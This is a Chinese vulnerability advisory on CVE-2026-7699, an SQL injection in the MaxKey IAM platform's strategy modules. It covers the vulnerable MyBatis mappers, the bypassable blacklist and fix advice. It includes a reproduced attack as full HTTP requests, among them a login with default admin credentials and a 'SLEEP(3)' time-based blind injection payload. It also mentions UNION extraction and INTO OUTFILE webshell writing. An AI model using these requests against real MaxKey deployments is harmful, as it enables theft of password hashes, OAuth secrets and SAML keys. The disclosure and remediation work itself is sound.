MaxKey SQL注入漏洞CVE-2026-7699
Dromara MaxKey 是Dromara社区推出的国产企业级 IAM(身份管理与访问控制)/IDaaS(身份即服务)平台,Apache 2.0 协议开源。
一、基本情况
Dromara MaxKey 是一款开源的 IAM(身份管理和认证)单点登录系统,其支持OAuth 2.x、OpenID Connect、SAML 2.0等标准协议。

Dromara MaxKey 提供统一身份管理、单点登录(SSO)、多因素认证、权限管控,适配微服务与企业复杂系统、企业身份认证场景。
栋科技漏洞库关注到MaxKey IAM 单点登录平台多处 ${filters} / ${orgIdsList} SQL 注入,追踪为CVE-2026-7699,CVSS 4.0评分5.3。
二、漏洞分析
CVE-2026-7699漏洞是 MaxKey 单点登录 / IAM 统一身份认证平台中存在的一个 SQL 注入漏洞,该漏洞的潜在风险较大,建议修复。
MaxKey 的"账户策略 / 角色策略 / 组策略"模块将用户可控的 filters 与 orgIdsList 字段以 MyBatis 原始插值 ${} 拼接到 SQL。
虽然 StrUtils.checkSqlInjection() 对参数做了关键词黑名单过滤,但黑名单极不完整,可轻易绕过。
具体来说,受影响版本中,账户策略、角色策略、组策略等模块使用MyBatis ${}字符串插值将filters参数直接拼入SQL查询,
StrUtils.filtersSQLInjection()方法的黑名单仅包含and、or、;、--、'等基础字符,
缺少对UNION、SELECT、SLEEP、BENCHMARK等SQL关键字的过滤,攻击者通过构造恶意filters参数实现UNION注入或时间盲注。
成功利用可窃取用户密码哈希、OAuth客户端密钥、SAML私钥等敏感数据,并可能通过INTO OUTFILE写入webshell。
1、受影响 Mapper 片段(mysql / postgresql 版本均存在)
AccountsMapper.xml:
<select id="queryUserNotInStrategy" ...>
SELECT ... FROM users u
<where>
and (${filters})
and u.departmentid in( ${orgIdsList})
</where>
</select>
GroupMemberMapper.xml / RoleMemberMapper.xml 存在相同模式,共计 16+ 处 ${filters} / ${orgIdsList} 原始拼接。
2、上层调用
AccountsServiceImpl.refreshByStrategy():
private static final String SQL_REGEX = ".*([';]+|(--)+|(\\band\\b)|(\\bor\\b)).*";
该正则:
阻止 and / or / ; / -- / '
未阻止 UNION、SELECT、SLEEP、BENCHMARK、UPDATEXML、EXTRACTVALUE
未阻止 /* */ 注释截断
攻击者可用 UNION 注入 / 基于时间盲注。
三、POC概念验证
(一)基础搭建
1、触发路径
管理员登录 MaxKey 后台
进入"账户策略"菜单 → 新建/编辑策略 → 触发 refreshByStrategy
filters 字段为策略自定义"过滤条件",由前端直接回传
2、认证要求
需要管理员 / 账号策略管理权限。
但 MaxKey 作为 IAM / 单点登录平台,一旦被攻陷则意味着整个企业的所有应用 Token 均可伪造,影响面远大于普通 CMS。
暴露字段
该表连接了以下高敏表:
mxk_userinfo(用户名 / 密码哈希 / 手机 / 邮箱 / 密钥)
mxk_accounts(第三方应用账户 / 加密密码)
mxk_apps(应用 OAuth2 Client Secret / SAML 证书)
(二)概念验证
PoC 1:UNION 注入获取所有用户密码
管理员已设置登录后刷新可查看PoC 2:时间盲注(绕过 and/or 黑名单)
管理员已设置登录后刷新可查看PoC 3:写文件(需 FILE 权限)
管理员已设置登录后刷新可查看(三)潜在影响
IAM 全面沦陷:导出所有用户密码哈希、应用 Client Secret、SAML 私钥
身份伪造:使用窃取的密钥为任意用户签发 SSO Token
企业应用连锁失陷:所有接入 MaxKey 的业务系统均可被接管
数据库写入:取决于 MySQL FILE 权限,可写入 WebShell
(四)修复建议
参数化查询:所有 ${filters} 改为显式的条件 DSL 构造,不允许原始 SQL
字段白名单:orgIdsList 限制为数字列表,使用 #{} 配合 <foreach>
增强 checkSqlInjection:
扩展黑名单至 UNION、SELECT、SLEEP、BENCHMARK、EXTRACTVALUE、UPDATEXML、INTO OUTFILE、/*、*/、\t、\n
优先使用白名单:[a-zA-Z0-9_,\s]+ 形式的严格正则
最小权限:数据库账户应禁用 FILE 权限、关闭 secure_file_priv
(五)实机验证(已复现)
环境:MaxKey 最新分支 Docker 部署,MaxKey-MGT 运行于 192.168.217.135:39526
步骤1:获取登录 State Token
请求报文:
GET /maxkey-mgt-api/login/get HTTP/1.1
Host: 192.168.217.135:39526
响应报文:
HTTP/1.1 200 OK
Content-Type: application/json
{"code":0,"message":null,"data":{"captcha":"NONE","inst":{"id":"1","name":"马克思钥匙","fullName":"MaxKey(马克思钥匙)单点登录认证系统",...},"state":"eyJhbGciOiJIUzUxMiJ9.eyJleHAiOjE3NzYxNDMwNDAsImp0aSI6IjEyNDE0MTMyMTM4Mjg5Mzk3NzYifQ.8nPsuK-T996LOk6dgcbhownu_TTYz8kd-BpqfePAzVxC8luJMpdJjR48_lch8Q4LPm0zAxn0gjnCf5yydFYdCQ"}}
(captcha:"NONE" 说明在 LOGIN_CAPTCHA=false 环境变量下验证码被禁用)
步骤2:管理员登录获取 Bearer Token
请求报文:
POST /maxkey-mgt-api/login/signin HTTP/1.1
Host: 192.168.217.135:39526
Content-Type: application/json
{"username":"admin","password":"maxkey","authType":"normal","state":"eyJhbGciOiJIUzUxMiJ9...","captcha":""}
响应报文:
HTTP/1.1 200 OK
Content-Type: application/json
{"code":0,"message":null,"data":{"ticket":"1241413214642634752","type":"Bearer","token":"eyJhbGciOiJIUzUxMiJ9.eyJzdWIiOiJhZG1pbiIsImluc3RJZCI6IjEi...","twoFactor":"0","id":"1","name":"admin","username":"admin","displayName":"系统管理员","instId":"1","authorities":["ROLE_ADMINISTRATORS","ROLE_ALL_USER",...],"expired":600}}
步骤3:正常添加账户策略(无注入)
请求报文:
POST /maxkey-mgt-api/config/accountsstrategy/add HTTP/1.1
Host: 192.168.217.135:39526
Authorization: Bearer eyJhbGciOiJIUzUxMiJ9.eyJzdWIiOiJhZG1pbiIsImluc3RJZCI6IjEi...
Content-Type: application/json
{"name":"normal_strategy","appId":"1","appName":"TestApp","mapping":"username","instId":"1","status":"1","createType":"automatic","filters":"1=1","orgIdsList":""}
响应报文:
HTTP/1.1 200 OK
Content-Type: application/json
{"code":0,"message":null,"data":null}
(code:0 表示成功插入策略,正常执行耗时约 280ms)
步骤4:时间盲注验证(SLEEP(3) 注入)
请求报文:
POST /maxkey-mgt-api/config/accountsstrategy/add HTTP/1.1
Host: 192.168.217.135:39526
Authorization: Bearer eyJhbGciOiJIUzUxMiJ9.eyJzdWIiOiJhZG1pbiIsImluc3RJZCI6IjEi...
Content-Type: application/json
{"name":"poc_sqli_sleep","appId":"1","appName":"TestApp","mapping":"username","instId":"1","status":"1","createType":"automatic","filters":"1=1 AND SLEEP(3)","orgIdsList":""}
响应报文(耗时 30462ms,MySQL 语句超时取消):
HTTP/1.1 200 OK
Content-Type: application/json
{"code":2,"message":"\n### Error querying database. Cause: com.mysql.cj.jdbc.exceptions.MySQLTimeoutException: Statement cancelled due to timeout or client request\n### SQL: select * from mxk_userinfo u where u.instid = ? and not exists(select 1 from mxk_accounts ac where ac.appid = ? and ac.instid = ? and ac.userid = u.id and ac.createtype='automatic') and (1=1 AND SLEEP(3))\n### Cause: com.mysql.cj.jdbc.exceptions.MySQLTimeoutException: Statement cancelled due to timeout or client request","data":null}
关键证据:
响应耗时 30,462ms(正常请求 280ms),延迟 ~30 秒
错误信息中明确显示注入的 SQL:and (1=1 AND SLEEP(3))
MySQL 数据库中存在 60 个用户,SLEEP(3) 被执行 60 次(60×3=180s,被 MySQL 超时截断)
${filters} 直接拼接到 SQL,无任何过滤,时间盲注确认成立
实际 SQL 注入后的完整查询:
SELECT * FROM mxk_userinfo u
WHERE u.instid = ?
AND NOT EXISTS (
SELECT 1 FROM mxk_accounts ac
WHERE ac.appid = ? AND ac.instid = ? AND ac.userid = u.id AND ac.createtype='automatic'
)
AND (1=1 AND SLEEP(3)) ← 注入点,SLEEP 被执行 60 次
(六)验证环境
源代码:MaxKey 最新分支(代码审计 + Docker 运行时测试)
运行时测试:MaxKey-MGT 部署于 192.168.217.135:39526
框架:Spring Boot + MyBatis + MySQL
日期:2026-04-14
四、影响范围
MaxKey IAM 主分支
五、修复建议
修复版本中通过替换${}插值为#{}参数化查询解决该问题,但目前官方尚未发布修复版本。
六、参考链接
管理员已设置登录后刷新可查看